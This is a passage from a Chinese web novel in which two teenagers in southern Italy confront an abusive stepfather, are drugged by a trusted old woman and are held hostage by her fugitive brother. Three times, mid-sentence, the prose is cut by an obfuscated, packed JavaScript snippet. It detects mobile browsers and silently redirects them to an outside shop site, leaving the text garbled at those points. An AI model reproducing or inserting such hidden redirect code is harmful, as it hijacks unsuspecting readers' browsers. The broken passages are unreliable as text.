这棵树的确太高了,上来已经很不容易,下去就更困难。 “刚才我观察过,旁边还有一条路,从那里下去要好走得多。”何少蘅指了指左边紧挨的一棵榆树。它长得低矮一些,树干虬曲而多节。 少年把托托背在肩上,轻轻一跃,就落在了榆树枝头。 接下来的动作,夏薇根本来不及看清。只见一个白衣翩翩的身影,飘如游云,矫若惊龙,快速的沿着树干溜下去,片刻已到了地面。 “天啊,这真的酷毙了!”托托仿佛找到了崇拜的偶像,拉着何少蘅死缠烂打,“姐夫你爬树这么厉害,也教我几招吧?” “臭小鬼,你叫谁姐夫?”少女红着脸骂道。 “谁把你背下来,谁就是姐夫。”托托向她嘻嘻的笑。 何少蘅负着双手,悠闲的站在树下,仿佛根本没有听到两姐弟的对话。 从高空俯视着地面,夏薇只觉得眼前一阵眩晕,心中更是发怵。但要何少蘅再上来背她,她也实在开不了口。 好在她胡乱练过几天咏春拳,肢体还算敏捷,于是硬起头皮,按照那条示范的路径,颤颤巍巍、险象环生的爬下了树。 托托早就脚底抹油,溜回了屋子里。 那条死鱼刚才从半空掉下来,一直静静的躺在泥土上。夏薇把它捡起来捧在手心,眼眶一红,泫然欲泣。 “我们欠它一个体面的葬礼。”何少蘅从院子里找了一把种花用的小铲,走过来说道。 二人用小铲在树下挖了土坑,把鱼的遗体埋进去,又在树干刻上十字架,最后用手机播放了一首莫扎特的《安魂曲》,完成了庄严的安葬仪式。 也只有这些年轻而温柔的心灵,才会像尊重一个“人”那样,尊重一只动物的生命。 院子外,一辆菲亚特小型汽车沿着马路驶来,“吱”的一声停在门前。刚结束了工作的男人从车窗探出头来。 “十几岁的孩子,还这么不懂事,”男人一开口,照例是习惯性的责骂,“在家门口播放这种鬼嚎的哀乐,真是晦气死了!” 世界上最讨厌的一类家长就是如此,永远不问理由、不分场合,当着熟悉或陌生的人面前,随心所欲的训斥孩子。 他们自己虽然爱面子得要命,却完全没有意识到,孩子也有一颗更加敏感而强烈的自尊心。 夏薇心头火起,霍然站了起来,正在考虑要不要跟男人大吵一架。 在何少蘅的面前,她不想让自己表现得像个逆来顺受的傻瓜。 但她反击的话还没说出口,就看到男人推门下了车,绕到另一侧,拉开副驾驶位置的门,从车里走出一名浓妆艳抹、妖妖娆娆的金发美人。 这对男女一边走进院子,一边咬着耳朵窃窃私语,然后旁若无人的放声大笑起来。男人还用手在女子丰满的臀部捏了一下。 一瞬之间,夏薇已经明白发生了什么。 “这里是我的家,你们两个给我滚出去!”愤怒的少女冲上前,像守门员似的张开双臂,想要阻止二人进屋的脚步。 “走开,一边待着去,”男人不耐烦的挥挥手,“大人的事,小孩子少掺和。” “妈妈刚去了城里动手术,你这混蛋马上就把别的女人带回家,你还是不是人?!” “咦,你还好意思说我,”男人皮笑肉不笑的,斜觑着站在一旁的何少蘅,“你自己不是也把男生带回家吗……” “乱扯什么!”夏薇涨红了脸,“他是我们班上的同学……” “少在我面前装模作样,”男人哈哈大笑起来,“你们读洋书的女孩子是什么作派,大家都心里有数。” “闭嘴吧,人渣!” “你让不让开?” “不,死也不让!就不许你们进去!” “他妈的,没见过这么烦人的孩子……” 男人沉下了脸,粗暴的伸出一只手,用力推向夏薇的肩头。 上次他被夏薇用咏春拳打伤,纯属出其不意,这次却早已有了戒备,两眼一直紧盯着少女,以防她故技重施。 他推人的动作才刚刚发出,忽然发觉自己的肘部被一只手架住了。 手掌如玉石般洁白无瑕,手指修长、稳定而有力。 “喂,小子,你干什么?”男人瞪着面前的中国少年,完全没有注意到他是什么时候冒出来的。 “打架是男人之间的事,”何少蘅脸上毫无表情,“你不应该对一个女孩子动手。” “我教训自己的孩子,轮得到你来管吗,”男人冷笑着,“你就算想学人家英雄救美,也该先掂量掂量自己,是不是自不量力!” 他根本不把这文质彬彬的少年放在眼里,挥手格开了对方,大步跨上前,仍要去推开拦在门口的夏薇。 “自不量力的人应该是你。” 何少蘅突然又到了他面前,握住他伸出的前臂,向外一扭、一拉,把男人摔翻在地。 “手……我的手骨折了……”男人倒在地下,痛苦的哀嚎着,一条受伤的手臂像折断的草叶,软绵绵的垂了下来。 “这不过是脱臼,又不是骨折,笨!”夏薇悠然踱过来,看热闹似的。 “你们……你们两个等着瞧,这次我非报警不可!” 男人满头冒着冷汗,用那只还能活动的手,从衣兜里摸出了手机。由于颤抖得太厉害,他的钱包也一起被带了出来,落在地上。 “要是不想变成残废,现在你更需要的是救护车。”何少蘅劈手夺过他的手机,拨打了118急救电话。 “凯拉,快帮我报警!”男人冲着吓呆了的金发美人狂吼。 “她不会报警的……”何少蘅捡起男人落在地上的钱包,从里面掏出几张钞票,“假如警方问起,你明白该怎么回答?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923741|192677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当然,”金发美人马上接过那些钱,“我什么也没有看见,什么也不知道……”她扭着屁股,兴高采烈的走了。 几分钟后,救护车沿着公路呼啸而至。这个时候,两个闯祸的少年男女当然早就逃出大门,已经离开家很远了。 在夏薇的记忆里,这绝对算是她十六年来最痛快、最扬眉吐气的一天。想到那男人挨揍的样子,她就开心得要命,所以一路上,她一直在克制不住的大笑,笑得眼泪都流了出来。 眼泪流着流着,她的笑声就越来越微弱,渐渐的居然有些哽咽。 少女突然站住了,在街边蹲下来,把头埋在两只膝盖中间,抽抽搭搭的哭了起来。 花季少女的心情,就像海边的天气一样变化无常。她们想笑的时候,可以随时随地的大笑,想哭的时候,也可以随时随地的大哭,笑与哭之间简直无缝衔接。 何少蘅不禁有些惊讶,下意识的伸出一只手,想要揽住她颤抖的肩头。 但下一秒他就意识到自己的举动,伸出去的手也停在了半空。 “什么事这么伤心?”他在夏薇身边蹲了下来。 “你知道吗,我应该是……是这个世界上心肠最坏的人……”少女哽咽着,没有抬起被泪水浸湿的脸。 “为什么这么说?” “因为从很小的时候起,我……我就一直盼着他们离婚!”断续的抽泣中,蹦出这句石破天惊的话。 有那么几秒钟,何少蘅一直静默着,没有回答。 他的心中正感到一阵强烈而熟悉的痛楚,这痛楚既是为了夏薇,也是为了他自己。 带着一种强装出来的平淡语气,他问道: “你想起了妈妈,是吗?” “她是个苦命的人,她所做的一切都是为了我们这个家……” “你说得很对,”少年深表同情,“本来她不必吃那么多苦的。” “像那样的男人,她早就应该离开他了……”少女霍然抬起头,两只美丽的眼睛已经红得可怕,“可是我妈明知他那么坏,心里还是抱着幻想,以为他总有一天肯改过……” “很多女人都以为自己能改变男人,其实那不过是幻觉,是自己骗自己。” “有的时候,我甚至连我妈都恨,恨她为什么那么软弱,那么愚蠢,竟会留恋那种坏透了的男人……” “邪恶也是魅力的一种,越坏的男人,越是容易吸引人……”少年向她微微一笑,“正因为这个原因,我始终努力做一个正直的人,免得太多的女孩子喜欢上我。” “自大狂!”夏薇轻轻打了他一下,忍不住笑出声来。 这正是何少蘅想要达到的结果。 几滴泪珠还挂在她沾湿的脸上,当她笑起来时,就像微雨中的蝴蝶翩然飞舞,又像清晨带着露水的蔷薇徐徐开放。 哭,也许是女生最原始和本能的一种武器,但她们的笑,却是另一种更强大、也是令男生更无法抗拒的武器。 何少蘅定定的看着她,感到自己的心似乎正在一点一点的融化,融化在这少女无拘无束的笑容里。 也许是觉察到他越来越热烈的目光,夏薇的脸颊突然有些发烫。 她从小不论遇到多大的挫折,一向绝少伤心流泪,今天居然史无前例的在另一个人面前痛哭一场,这时才惊讶的觉察到自己的失态。 无论如何,这酣畅淋漓的大哭和不顾一切的倾诉,使她心中久已郁结的情绪宣泄了许多。 她从地上站起来,干咳几声,机敏的转移了话题:“我一直忘了问——你来家里找我,是不是有什么事?” 何少蘅像刚从梦中惊醒似的,一下子也跳了起来。 他沉默片刻,从衣兜里掏出了一把钥匙,一只吊坠。 “吊坠里这个人,才是你真正的父亲,对吗?” 11. 老妇 夏薇惊讶之极,万万没有想到,这两件以为再也找不到的东西,原来落在何少蘅那里。 她接过自己失而复得的宝贝,怔怔的凝视着吊坠里镶嵌的那张老照片。 七岁时的一个下午,趁着家中无人,她偷偷潜入母亲的卧室,用唇膏和腮红把自己的脸画得姹紫嫣红,又从橱柜里翻出几条毛巾披在身上,打算扮演动画片里的公主。 在橱柜的角落里,她无意中找到一张只剩一半的照片,仿佛是从某张合照里撕下来的。照片里,一个二十来岁、神采飞扬的中国男子正向她微笑。 虽然她从来没有见过这个男子,但他的脸却跟她那么酷似,就像是同一个模子里刻出来的。 难道这人才是她真正的父亲? 她对着照片端详许久,不声不响的把它藏进自己戴着的吊坠里,后来就当作什么也没发生过,在任何人面前也从未提起一个字。 何少蘅是唯一跟她分享这个秘密的人。 这个秘密她从来没有告诉过任何人,现在却对他说了出来;她从来不愿在别人面前流泪,今天却在他面前放肆的大哭。 夏薇惊奇的发现,自己今天所做的每件事情,实在让自己都有些匪夷所思。 这也许是因为,在她的内心深处,何少蘅的位置毕竟和别人不同。 “你不但没有见过亲生父亲,甚至连他是谁也不知道?”少年问道,“为什么不问问你母亲,事情的真相是怎样的?” “妈妈从来没有提过,我还有一位生父,”夏薇皱着眉头,轻轻叹了口气,“她这么做一定有她的理由,就算我问了,她也不会说。” “那张照片既然被撕碎,看来他们应该是闹翻了,也许你的生父也另外组建了家庭,”少年作出合理的推断,“已成过去的事,当然没有必要让孩子知道。” 夏薇点点头,不禁又叹了口气:“从小能得到自己父亲的疼爱,这种感觉不知有多么幸福,所以我实在很羡慕你……” “我不认为这值得羡慕,”何少蘅打断道,“很多人虽然从小就有父亲,但也相当于没有,或者还不如没有!” 他漆黑的眼眸突然变得深不可测,眼中的神色仿佛带着几分讥嘲,又带着几分憎恨。 夏薇不禁有些惊异,一瞬之间,想起了医院护士口中的何父——那个“漂亮的魔鬼”。 她迟疑着问:“你的父亲,究竟是个什么样的人?” “不要让这种人倒了我们的胃口,”少年巧妙的避而不答,“现在我只想解决一个问题——我们什么时候才能去吃午饭?” 仿佛在回答他的问题似的,夏薇的手机很及时的响了起来。 看过屏幕上的新消息,她立刻露出大喜过望的神色: “好极了,我们有个好地方可以吃饭!” “只要是你付账,到哪里都没问题……” “没有人需要付账,”夏薇眨了眨眼睛,“正巧我收到一位朋友的邀请,到了她的家里,保证你能品尝到最地道的意大利南部风味……” “我也在被邀请之列?” “那是当然,”少女在阳光下爽朗的笑着,“这里的人是全意大利最热情好客的,不会介意多交一个朋友……” 绵延几十公里的海岸公路,蜿蜒的盘旋在湛蓝的大海和陡峭的山崖之间,乘坐镇上的公交车到达终点站,这里已是公路的尽头。青山翠谷中坐落着几个风景如画的村庄,山坡上满是层层叠叠的梯田,带着牧羊犬的农人赶着羊群经过,看到两个东方面孔的年轻人,友好的互道了一声“日安”。 沿着羊肠小径一直走到接近山顶,他们终于在一座农舍前停下脚步。简朴的庭院中种植着柠檬树和葡萄棚架,墙上一个圆拱形壁龛里,供奉着受难基督的雕像。 石头砌成的农舍中,有人正唱着一首意大利民歌《stattevicinoamme(靠近我)》,悠扬而略带沙哑的女声从窗口飘了出来。 “好久不见,罗珊娜妈妈!”夏薇大老远就招呼道。 屋中的歌声停止了,胖胖的罗珊娜老妈妈带着慈爱的笑容迎出来,一边用围裙擦着手上的面粉。 “我的朋友们,见到你们太开心了,”从夏薇回复的信息中,她已经得知中国少年的名字,“你一定就是何少蘅吧?” “正在做意大利面吗,”夏薇与她热情的贴面拥抱,“我们两个也来帮忙……” 揉好的面团已经被分为一个个小块,整齐的摆在铺着格子桌布的餐桌上。他们每人拿了一根细长铁棒,将小面块挨个儿卷起来,然后塑造成细细的面条形状。 “像这样精巧的擀面杖,我还是第一次看见,”何少蘅摆弄着那根比毛衣针还细的铁棒,只觉得十分好奇,“不知道在哪里能够买到?” “哪里都买不到……”罗珊娜大笑着回答,“这只不过是废物利用——从旧雨伞上刚拆下来的伞钉!” 碎花窗帘在午后的阳光中飘动,敞开的窗外传来丁当的牛铃声,更远处是蓝天碧海和点点白帆,这一切给人以一种岁月悠长的感觉。在这个与世无争的小村庄,时间仿佛已完全静止了。 人类生活中的某些事情,似乎很难随着时间的推移而改变。比如这片海边的田园,终年阳光充沛,二千年前已有人定居;又比如家人相聚、一起制作家宴上的大餐,是许多老一辈人记忆里最温馨的画面。 “您有一个兴旺的大家族,这真令人羡慕。”夏薇去院子里采摘柠檬的时候,何少蘅端详着墙上相框里的家庭合照,照片里是一对夫妇带着几个小孩,幸福的围坐在餐桌旁。 “都是往日的回忆了,”罗珊娜有些伤感的叹了口气,“如今一代的年轻人,十几岁就远赴罗马、米兰等大都市闯荡,几年也难得回家乡一次,过去那种家庭聚会的传统正在被丢弃。” 在意大利南部的村庄,很多家庭只剩下像她这样的老人,孤独的居住在空荡荡的老房子里,依靠自家种植的水果蔬菜维持生计。 “这么多的孩子,没有一个回家吗?” “我的大儿子童年就已夭折,女儿结婚后移民到了美国,只有小儿子吉诺还在意大利,”老妈妈用围裙擦了擦眼角泛起的泪光,“他是佛罗伦萨小有名气的画家,工作一向很忙碌,我们也已经许多年没有联络了。” “吉诺一直是您的骄傲,不是吗?”夏薇提着一篮子柠檬走进来,大声说道。 “他的确是个心地善良的孩子,”老妈妈露出慈爱的微笑,“最近半年来,每个月的20号,他总会通过银行给我的账户汇一笔钱,希望我不再那么操劳辛苦……对了,这个月的汇款还提早了几天,大约15还是16号就收到了。” 午餐所需的食材差不多已齐全,罗珊娜老妈妈进了厨房,两个年轻人则被分配去露台上布置餐桌,同时准备下午制作烤栗子的材料。 夏薇从衣兜里掏出一支笔,一本巴掌大的本子,悄悄趴在厨房的玻璃窗上,将老妈妈做菜的过程刷刷的记录下来。 “你是不是打算出版菜谱?”何少蘅半开玩笑的问她,一边用小刀在洗净的栗子壳上切开一道口子,然后刷上融化的黄油和白糖。 “现在不记下来,也许以后就没有机会了。”夏薇头也不回的答道。 “哦?为什么?”何少蘅惊讶起来。 “罗珊娜家族里的每个人,都会患上一种遗传性的眼病……”少女的声音沉重起来,“她现在的视力已变得很差,再过不久,两只眼睛都要看不见东西了!” “病得这么重,她应该好好休息,客人上门不是让她更忙碌和辛苦?” “我们的到来让她开心,因为这给她一种家的感觉,”夏薇低声叹了口气,“只有家人相聚的时候,才让她觉得自己还活着,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923742|192677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一个有用的人。” 终身生活在这几乎与世隔绝的小村庄,独自度着缓慢流动的岁月,这个慈祥的老人,也许的确已孤独了太久。 何少蘅沉吟了片刻,忽然又问道:“她一直都是一个人住在这里?” “是的,罗珊娜的老伴十几年前就去世了,儿女们也都不在身边,”夏薇收起刚抄好的笔记本,向餐桌走过来,“为什么问起这个?” “从我们进来到现在,有个房间的门一直是紧闭的,”何少蘅示意着屋中一间锁上的卧室,“你不觉得有些奇怪吗?” “这是很寻常的事,”夏薇耸了耸肩膀,“也许我们来之前,罗珊娜正在大扫除,把房间弄得乱糟糟的,所以客人来了就把门关上。” “我总觉得有什么地方不大对劲……” “你的老毛病又犯了,总是喜欢胡思乱想,”夏薇安慰似的向他一笑,“你放心,这一带我从小就熟悉得很,无论走到哪里我都会照顾你的。” “你照顾我?你说笑话吧……” “说到笑话,最近我刚听来一个特别好笑的笑话,讲给你听听——从前有个意大利人、一个美国人和一个中国人……” 丰盛的菜肴陆续开上餐桌,看花了两个年轻人的眼睛。综合沙拉、海鲜烩饭、贻贝大虾意面、油炸奶酪卷……还有一种用欧芹、番茄和白葡萄酒等调味、名为AcquaPazza的美味水煮鱼。 这里的农家菜大多就地取材,采用亲手制作的意面和干酪,海边刚打捞的鱼虾贝类,以及本地种植的成熟多汁的水果蔬菜。这些食材从采收到上桌只有几个小时,并且按照传统烹饪方法,使用灶火而不是烤箱等现代设备,朴实无华却鲜美无比,任何人吃过一次都永远不会忘记。 从他们所在的露台,可以眺望远方长长的海岸线,蔚蓝的海水平静的流进一个半圆形的海湾里。就着美景享用美食,让夏薇觉得自己的胃和心灵同时得到了满足,像是置身于人间的天堂。 “啊,我差点忘了一件东西,”罗珊娜含笑从餐桌前站起来,“你最喜欢的柠檬酒……” 老妈妈进去拿酒的时候,一阵狂暴的风从海上席卷而来,何少蘅突然机伶伶的打了个寒噤。 “咦,你是不是生病了?”夏薇睁大眼睛,奇怪的打量着他。 “我……我忽然觉得全身发冷。”少年的声音低沉得异样。 “冷吗?天上出着大太阳呢……” “我有一种说不上来的感觉,好像……好像有什么人在暗中偷看我们似的……” “看来你真的需要好好放松几天,”夏薇哈哈大笑道,“你大概是最近学习太刻苦,以至于脑袋都学出毛病来了……” 老妈妈用托盘托着一瓶柠檬酒、几个玻璃杯,重新回到了露台上。 “罗珊娜,为你的健康干杯!”大家齐齐举起了酒杯。 这种颜色金黄如阳光的餐后酒,带有清爽的甜味和浓郁的柠檬香气,在意大利南部一向极受欢迎。因为酒精度数较高,老妈妈还细心的用苏打水和冰块加以稀释。 稀释过的柠檬酒就像果汁饮料一样,本是少女们的最爱,而且完全不容易喝醉。但今天很奇怪,小半杯酒刚刚下肚,夏薇便觉得眼皮沉重得要命,整个人昏昏欲睡。 强烈的困意像魔术师手里的黑布罩,向她当头罩了下来。她迷迷糊糊的伏在餐桌上,一会儿就睡熟了。 何少蘅也倒在她身边,失去了知觉。 罗珊娜手里的那杯酒还是满的。 有一瞬间,这个衰弱的老妇人似乎变得更苍老,脸上的每一条皱纹都刻满了痛苦与无助。 她放下酒杯,凝视着两个昏晕过去的年轻人,口中喃喃祷告着:“仁慈的主啊,原谅我做的一切吧!” 墙上的壁龛里,基督雕像用一种垂怜的目光,俯视着露台上的每一个人。 12. 人质 夏薇睁开眼睛的时候,房间里已有些昏暗。 高高的木梁和镶木天花板在眼前摇晃,疼痛像一把生锈的锯子,在脑袋里钝钝的切割着。她花了几分钟时间,才从头晕脑胀中清醒过来,回忆起自己睡着前所在的地方。 从紧闭的玻璃窗看出去,空无一人的露台正沐浴在傍晚柔和的光线中,夕阳的余晖穿过四周阴暗的绿树,把橙黄的光斑投射在爬满常春藤的石墙上。 整整一个下午,就在无知无觉的睡梦中度过了。 何少蘅正在她的旁边,两个人的双手和双脚都被绳索牢牢捆住,像两件细心包扎的圣诞礼物似的,并排摆放在一张老旧的铁架大床上。 夏薇突然感到脸颊有些发烫。她从出生到现在,就算是婴儿时代,也从来没有跟另一个人呆在同一张床上。 意识到这种状态的尴尬,她像鲤鱼般奋力一挺身,从床上弹起,笨拙的滚落在地上。 “我们是被绑架了吗?”随着她翻身下地的动作,铁架床惊天动地的吱嘎乱响起来。 “看起来是的……”何少蘅平静的躺着,声音也是出奇平静,就像在说一件跟自己毫不相干的事情,“中午喝的那杯酒里,一定被人做了手脚。” “天啊——这种电影里才有的情节,居然会发生在我们身上?”少女惊诧得瞪着何少蘅,仿佛要从他脸上找到答案,“为什么……为什么会这样?!” “我要是知道自己为什么被绑架,也就不会被绑架了,”少年一本正经的说起了废话,“也许你应该去问问你那位朋友。” “是罗珊娜……竟然是罗珊娜……她必须给我一个交代!”夏薇对着紧锁的房门大声叫喊。 罗珊娜,那衰老而孤独、慈爱而热情的老妈妈,居然会绑架他们? 这样一件天方夜谭般的怪事,实在让人匪夷所思。 门口传来轻微的开锁声,紧闭的房门被打开了,他们正在讨论的主角走进了屋中。 “不要害怕,我亲爱的孩子们!”罗珊娜挪动着胖胖的身躯,脸上带着安抚的笑容,“那瓶柠檬酒里只放了轻量的安眠药,药力很快就过去,不会对你们的身体造成伤害。” “受伤害的不是身体,而是我的心……”少女厉声质问道,“罗珊娜,我们认识了很多年,我一直像对待朋友那样信任你、尊敬你,为什么你要这样对我?” 受到了指责的老妈妈没有吭声,眼中却流露出痛苦的神色,两只手不安的互相绞拧着。 “不要怨恨她,这一切都是我指使她做的。” 一名穿着工装外套、模样潦倒的青年从门外走进来,虽然留着满脸拉碴的胡茬和乱蓬蓬的长卷发,仍能分辨出他原本白净的面容,以及那双忧伤的蓝眼睛。 他竟然是警方正在通缉的逃犯——朱塞佩! “一直躲藏在房间里的那个人,原来就是你。”何少蘅注视着面前的意大利青年。 “你们……你们两个……”夏薇睁大眼睛看看朱塞佩,又看看罗珊娜,如堕五里雾中。 “朱塞佩是我最小的弟弟,”罗珊娜解释道,“在我们的母亲去世后,我就承担起母亲的角色,像抚养自己的孩子一样,将他抚养成人。” “他指使你做坏事,你也听他的话?” “薇,请谅解我吧……在我们意大利人心中,家人的位置一向很重要……” “是啊,是啊!”夏薇激动的打断了她,“你是对得起家人,但你对得起自己的朋友吗?” 夜色正悄悄的从窗外钻进来,这间没有点灯的屋子里,不知不觉充满了深浓的黑暗,黑得就像人的灵魂。 夏薇坐在冰冷的地板上,全身都在剧烈发抖,一部分是由于夜晚的寒冷,更多的还是因为愤怒和伤心。 “薇,你是个善良的女孩子,我将永远铭记你的友谊。” 朱塞佩脱下了工装外套,轻轻披在少女颤抖的双肩上——这件外套,正是前些日子他醉卧街头时,夏薇盖在他身上的。 “你既然绑架了我,何必还假惺惺的来这一套?”夏薇横了他一眼。 “请相信,我绝对没有针对你的意思……”朱塞佩大声说着,伸手向铁架床上一指,“我想绑架的,只是这个中国少年!” “从夏薇回复给罗珊娜的消息中,你知道我会来到这里,”何少蘅斜倚在床头,神情还是那么平静,“那时候你就计划好了,要把我们两个一起困住。” “这个计划我已经考虑了很久,多谢你自己送上门来!” “你……你一直想绑架何少蘅?为什么?”夏薇惊讶得忘记了愤怒。 “这都怪那个姓何的家伙,是他抢走了我的未婚妻……”朱塞佩跌坐在墙边一张椅子上,痛苦的用双手抱住了头,“所以我只有以牙还牙,绑架他唯一的儿子,作为互相交换的人质。” “交换人质?” “是的,我要把莫妮卡交换回来,让她回到我身边!” 痴情的意大利青年抬起了头,一双忧伤的蓝眼睛充满了希冀,在夜色中发出温柔的光芒。 他的神情看起来像在做梦一样。 “朱塞佩!你是读过书的人,你该知道这么做是触犯法律的!”少女的叱责把他从温柔的梦境中唤醒。 “有些事不可以简单的用法律来衡量,”朱塞佩大声反驳,“还有世上一些恶人,也许法律根本不会制裁他们,那就只能依靠自己的力量!” “你真是疯了,疯得不轻……”少女绝望的囔道,“罗珊娜,难道你也陪着他一起发疯吗?” “做自己想做和应该做的事情,这没有什么不对,”老妈妈自豪的说道,“我们意大利人是一个有血性的民族,我们的血管里一向流淌着硫酸和烈火……” “薇,等你将来遇到一个自己心爱的人,你也会像我一样做的。”朱塞佩最后下了结论。 夏薇只能张大了嘴,说不出一句话。 她隐约意识到,这些“绑架”她的人并不是通常意义上的坏人,甚至他们所说的“歪理”,似乎也有一定的道理。 “依我看,你做的这一切都是白费心机。”何少蘅突然冷冷插了一句。 “你这是什么意思?”朱塞佩回头瞪着他。 “你的未婚妻要是肯回到你身边,当初也就不会离开你了,”何少蘅犀利的指出,“镜子有了裂痕会破碎,感情有了裂痕也是一样,不可能再回到从前那样。” “胡说八道,胡说八道!” “也许你早就试过劝说她,却没有成功,不得已才想出了交换人质这一招,可是人的情感又不是货物,怎么能交换来交换去……” “闭嘴,闭嘴!”朱塞佩满脸涨得通红,冲着他怒吼,“一定是你的死鬼父亲用了可耻的手段,让莫妮卡受到了迷惑,其实她心里爱的人还是我!” “你要是不相信的话,大可以试试。”何少蘅平静的答道。 趁着他和夏薇昏迷的时候,他们俩的手机早已被搜走了。朱塞佩铁青着脸,解开何少蘅手腕上的绳索,将他的手机抛过去。 “打你父亲的电话,让他带着莫妮卡来换回你,”朱塞佩从腰间掏出一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923743|192677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左轮手/枪,抵在少年的脑门上,“当心一些,不要在通话中搞鬼!” 免提功能被打开了,所有人都屏住了呼吸。屋子里安静得可怕,只听见电话那头传来的“嘟嘟”的忙音。 “怎么没有人接听?”等了很久,朱塞佩不耐烦起来。 “你大概忘记了,家父昨晚刚被你打成重伤,现在还躺在医院里没有醒过来。”何少蘅冷冷的道。 “那就给他留下讯息,”朱塞佩恶狠狠的咬着牙,“我可以等,一直等到他醒来为止!” “你能等,我可等不了……”夏薇在旁边突然插了一句。 “怎么了?” “我……我要上洗手间!”少女窘迫得涨红了脸。 “可怜的孩子,你今天受了多少委屈啊。”慈祥的罗珊娜急忙过来,帮她解开了绳索。 “薇,请不要试图逃跑,否则我一定会杀死这少年!”朱塞佩挥舞着手/枪,比划了一个凶狠的手势。 “你尽管放心……背叛朋友这种事,任何一个有良心的人都做不出来。”夏薇语带双关的答道,气冲冲的走出了房门。 从天黑等到天亮,又从天亮等到天黑,始终也没有收到何父回复的讯息。两个少年男女被转移到楼上一个带浴室的房间里,正式开始了“人质”生涯。 窗户距离地面太高,跳窗逃跑行不通;房门永远上着锁,只通过门下方打开的猫洞传递一日三餐。手机早已被没收,断绝了与外界的联系;打开电视想看看新闻,发现根本收不到信号,他们没法看电视,是电视在看他们。 第二天,不顾夏薇和何少蘅的强烈抗议,房间里的电源也被切断了,因为朱塞佩要提防他们用灯光的闪烁发出SOS求救信号。事实上这纯属多此一举,因为在这偏僻的山村,一年到头也难有外来的访客。 白天还好过一些,房里有几本蒙尘的旧书供他们消遣,但是一到夜晚,漆黑而死寂的夜晚,时间就好似凝固了一般,漫长得让人简直无法忍受。 “再这样下去,不到天亮我就要发疯了!”这天夜里,夏薇像死鱼一样躺在床上,失眠的两眼直直瞪着天花板。 “你不会的,”何少蘅把自己安顿在墙边的长沙发上,提出建设性的意见,“我们可以互相给对方说故事,夜晚的时间就不至于太无聊。” “我要听那只猴子的故事,”夏薇马上来了精神,一骨碌从床上坐起来,“就是会72种魔法的那只中国猴子……” 《西游记》不久就说完了,少女投桃报李,讲述了她从小烂熟于心的古罗马神话故事——朱庇特爱上斯巴达的王后,达芙妮在爱人面前化为月桂树,背着七弦琴的俄耳甫斯前往冥府寻找逝去的妻子…… 这些关于爱情的古老传说,使两颗年轻的心怦然跳动起来。情窦初开,如同新钢琴上叩击出的第一声清脆悦人的音符,试问世上还有什么比这更美妙呢? 他们有时无话不谈,有时也可以一言不发,因为沉默和闲聊同样是一种享受,就算是安静的站在窗户前看月亮,也能得到无上的乐趣。 在心照不宣的沉默中,山村的夜晚终于向他们显示出无穷的魅力——头顶是皎洁的月华,浩瀚的繁星,苍茫的云海,耳边是鸟语、虫鸣和晚风的呢喃,空气中弥漫着丰饶的泥土气息和美妙的花香。眼前这片大自然就是一部丰富的书,充满了最精彩的角色和故事。 日子一天天过去,日期几乎已被忘却,大千世界里仿佛再也没有别人,只剩下他们两个。要不是还有家人和学业,他们在这囚居的生活中也会感到十分幸福。 13. 越狱 “床上的枕头睡着不太舒服,给我换个新的吧。” “我想看看新闻,请给我弄几张报纸来。” “今天晚餐我想吃蛤蜊意面,甜点要Sfogliatella(夹心奶酪千层酥),还有冰淇淋也来一个……” “我要吃辣条,帮我买一下……” 在度过了几天被囚禁的生活后,夏薇和何少蘅开始大胆的提出各种要求。对于这些千奇百怪的要求,慈祥的罗珊娜总是耐心的一一予以满足,有一次她甚至乘坐往返三小时的公交巴士,只为到城里的中国超市买回那种名为“辣条”的美味零食。 “你们把这里当作旅馆吗?”气愤的朱塞佩冲着房内叫嚷,“不要忘了,你们现在是人质,不是在度假!” “孩子们已经受了太多委屈,让他们住得舒服一些,也是应该的。”罗珊娜带着慈爱而宠溺的笑容,每天仍然任劳任怨,对她的两位中国朋友有求必应。 物质条件得到了大幅度改善,两个少年男女简直成了世界上最幸福的一对“人质”。有时候他们几乎有种错觉,可以一辈子在这里愉快的住下去。 事实上,两个少年男女一起失踪的消息,在R镇居民中早就传得沸沸扬扬,在近日的《R镇新闻报》上也已经铺天盖地了。只不过他们在这里被允许阅读的,只有几张过期的旧报纸,对于外界的最新消息完全一无所知。 “唉,好几天没去学校,我缺的功课又更多了……” 何少蘅表面唉声叹气,其实他心里正快活得要命。在这个风景如画的世外桃源,跟一个活泼明丽的少女朝夕相处,这是他所能想象的最美满的一种生活。他甚至暗暗期盼父亲晚一点醒来,好让他多当几天人质。 接下来发生的一件事,差点打破了他内心美好的幻想——这天临近黄昏的时候,何父的手机号码终于接通了! 在所有人当中,最兴奋的一个无疑就是朱塞佩。 